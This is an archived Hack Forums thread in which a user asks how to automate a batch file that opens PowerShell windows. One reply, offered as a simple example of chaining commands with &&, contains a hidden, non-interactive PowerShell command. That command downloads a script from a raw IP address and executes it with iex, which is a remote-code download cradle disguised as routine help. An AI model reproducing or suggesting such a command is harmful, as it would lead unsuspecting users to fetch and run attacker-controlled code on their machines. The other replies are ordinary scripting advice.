Hack Forums
[Shell] bat file, powershell - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [Shell] bat file, powershell (/showthread.php?tid=6141963)



bat file, powershell - SIM-4924227 - Feb 26, 2021

hello, so i have to run a bat file that run a powershell and execute a powershell script that open another powershell, and i have to write in the new powershell that it opened but automated whit the same bat file how can i do that?
sorry for bad english


RE: bat file, powershell - Hackoo - Feb 26, 2021

(Feb 26, 2021 08:07 AM)SIM-4924227 Wrote:  hello, so i have to run a bat file that run a powershell and execute a powershell script that open another powershell, and i have to write in the new powershell that it opened but automated whit the same bat file how can i do that?
sorry for bad english

Show us your codes ! ✌ 💯👍 and try to be more explicit to understand your aim !


RE: bat file, powershell - Pernat1y - Feb 27, 2021

You can run different functions from PS script. Add check for script args, for example.


RE: bat file, powershell - Joseph Ducreux - Mar 11, 2021

in cmd, either as a .bat or just regular CMD/CLI window you can use the && command, which will than allow you to add another portion and just keep using the && until entire model you desire is achieved, example below


Code
c:\Windows\System32\cmd.exe /c powershell.exe -w hidden -noni -nop -c "iex(New-Object System.Net.WebClient).DownloadString('http://45.58.34.196:8080/p')" && c:\Windows\System32\cmd.exe /c powershell.exe -w hidden -noni -nop -c "iex(New-Object System.Net.WebClient).DownloadString('http://google.com:8080/p')" &&
echo A &&
echo B &&
echo finished

if you want to make a bat that opens a powershell window and literally writes to it automatically that can be achieved two ways, use the bat file to echo a VBSCRIPT that uses sendkeys function, and than execute it AFTER the bat file opens powershell, or simply just echo the commands directly to a .PS1 file than use cmd to execute powershell with that particular .PS1 File as argument....
it was hard to understand you but if that is what you mean than the above shall help